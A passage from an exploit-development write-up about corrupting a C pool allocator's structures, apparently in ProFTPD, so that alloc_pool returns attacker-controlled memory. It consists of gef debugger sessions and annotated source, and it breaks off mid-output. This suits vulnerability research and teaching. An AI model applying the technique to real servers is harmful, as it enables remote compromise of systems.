text
stringlengths
0
1.99k
$7 = {
a = {
cp = 0x5a5a5a5a5a5a5a5a,
f = 0x5a5a5a5a5a5a5a5a,
l = 0x5a5a5a5a5a5a5a5a,
fp = 0x5a5a5a5a5a5a5a5a,
d = 1.7838867517321418e+127
},
pad = 'Z' <repete 32 vezes>,
h = {
endp = 0x5a5a5a5a5a5a5a5a,
next = 0x5a5a5a5a5a5a5a5a,
first_avail = 0x5a5a5a5a5a5a5a5a
}
}
gef➤
Here it's important to understand that p->last is a union type, and when we
print p->last we see the values of cleanups, sub_pools, and sub_next
members, which we control.
Okay, we did change it, but we know that on line 575 it will crash again
because first_avail is not a valid address. I decided to point it to my own
structure because it contains data that we can manipulate. Of course, we
assume by now that we know p's address and can calculate the &p->cleanups
offset.
If we continue execution, we'll see that it crashes again. So before we
continue, let's change the p members again:
gef➤ set p->sub_next = &p->tag
gef➤ p *p->last
$10 = {
a = {
cp = 0x5a5a5a5a5a5a5a5a,
f = 0x5a5a5a5a5a5a5a5a,
l = 0x5a5a5a5a5a5a5a5a,
fp = 0x5a5a5a5a5a5a5a5a,
d = 1.7838867517321418e+127
},
pad = 'Z' <repete 16 vezes>, "\221\234C\360DV\000\000ZZZZZZZZ",
h = {
endp = 0x5a5a5a5a5a5a5a5a,
next = 0x5a5a5a5a5a5a5a5a,
first_avail = 0x5644f0439c91
}
}
gef➤
Ok, let's recap on alloc_pool:
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
[...]
569 blok = p->last;
570 if (blok == NULL) {
571 errno = EINVAL;
572 return NULL;
573 }
574
575 first_avail = blok->h.first_avail;
[...]
587 new_first_avail = first_avail + sz;
588
589 if (new_first_avail <= (char *) blok->h.endp) {
590 blok->h.first_avail = new_first_avail;
591 return (void *) first_avail;
592 }
593
[...] /* Need a new one that's big enough */
597 blok = new_block(sz, exact);
598 p->last->h.next = blok;
599 p->last = blok;
600
601 first_avail = blok->h.first_avail;
602 blok->h.first_avail = sz + (char *) blok->h.first_avail;
[...]
605 return (void *) first_avail;
606 }
Reading the code above, if the size of the block is not large enough to
store the data, it will evaluate to false on line 589, and another block
will be retrieved from the pool on line 597, overwriting p->last. This is
not desirable, as we would lose control of p's members. We need to make
sure we keep control of the allocations at all times. This is very
important for successful exploitation.
Thus, we need alloc_pool to evaluate to true at line 589 and return at line
591. This means p->last->h.endp should have a value greater than
p->last->h.first_avail.
At some point, I tried partially overwriting of p->last, but since I need
it to pass the if at pool.c:576, I thought it would be very difficult to
succeed with this approach.
Now first_avail is a valid pointer and the condition will be evaluated as
true, returning a pointer controllable by us:
gef➤ p *p->last
$11 = {
...